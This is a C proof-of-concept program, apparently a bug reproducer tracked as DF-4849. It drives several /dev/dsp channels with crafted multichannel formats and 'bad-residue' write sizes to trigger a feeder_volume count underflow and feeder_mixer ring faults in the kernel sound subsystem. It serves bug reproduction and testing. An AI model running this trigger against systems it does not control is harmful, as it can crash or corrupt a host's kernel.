DF-4849 / dspchurn.c
/* * dspchurn.c — in-kernel churn for the FXROUND family (DF-4846..4849). * Opens N vchan children on /dev/dsp, sets multichannel S16 formats so the * chains contain feeder_volume/feeder_matrix/feeder_format, and paces * write() sizes to bad-residue values (where SND_FXROUND misrounds up), * targeting the feeder_volume count-underflow and feeder_mixer ring paths. */ #include <sys/soundcard.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define NCH 2 int main(int argc, char **argv) { int fds[NCH], i, j, r, channels[NCH] = { 6, 7 }; int fmt = AFMT_S16_LE, speed = 48000; /* bad-residue write sizes for align 12/14 (see snd_fxdiv analysis): * 8195/8207 (d=12), 5473/8201.. (d=14), plus 65536-block variants */ static const int sizes[] = { 8195, 8207, 8219, 5473, 5475, 16385, 16399, 32771, 32777, 65520, 65532, 65525, 65536 }; int nsz = sizeof(sizes) / sizeof(sizes[0]); unsigned char buf[65536 * 2]; audio_buf_info oi; long iters = (argc > 1) ? atol(argv[1]) : 200; memset(buf, 0x01, sizeof(buf)); for (i = 0; i < NCH; i++) { fds[i] = open("/dev/dsp", O_WRONLY); if (fds[i] < 0) { perror("open /dev/dsp"); return (1); } r = ioctl(fds[i], SNDCTL_DSP_SETFMT, &fmt); r |= ioctl(fds[i], SNDCTL_DSP_SPEED, &speed); channels[i] = channels[i]; r |= ioctl(fds[i], SNDCTL_DSP_CHANNELS, &channels[i]); if (r < 0) perror("ioctl"); fprintf(stderr, "child %d: fmt=%d ch=%d speed=%d\n", i, fmt, channels[i], speed); } for (j = 0; j < iters; j++) { for (i = 0; i < NCH; i++) { int n = sizes[j % nsz] * channels[i] / 6; if (n > (int)sizeof(buf)) n = sizeof(buf); r = write(fds[i], buf, n); if (r < 0) { perror("write"); return (1); } /* pace: let the mixer drain toward bad-residue frees */ usleep(3000); if (ioctl(fds[i], SNDCTL_DSP_GETOSPACE, &oi) == 0 && j < 3) fprintf(stderr, "child %d ospace: frag=%d fsize=%d total=%d\n", i, oi.fragments, oi.fragsize, oi.bytes); } } for (i = 0; i < NCH; i++) close(fds[i]); printf("dspchurn: %ld iterations done, no error\n", iters); return (0); } |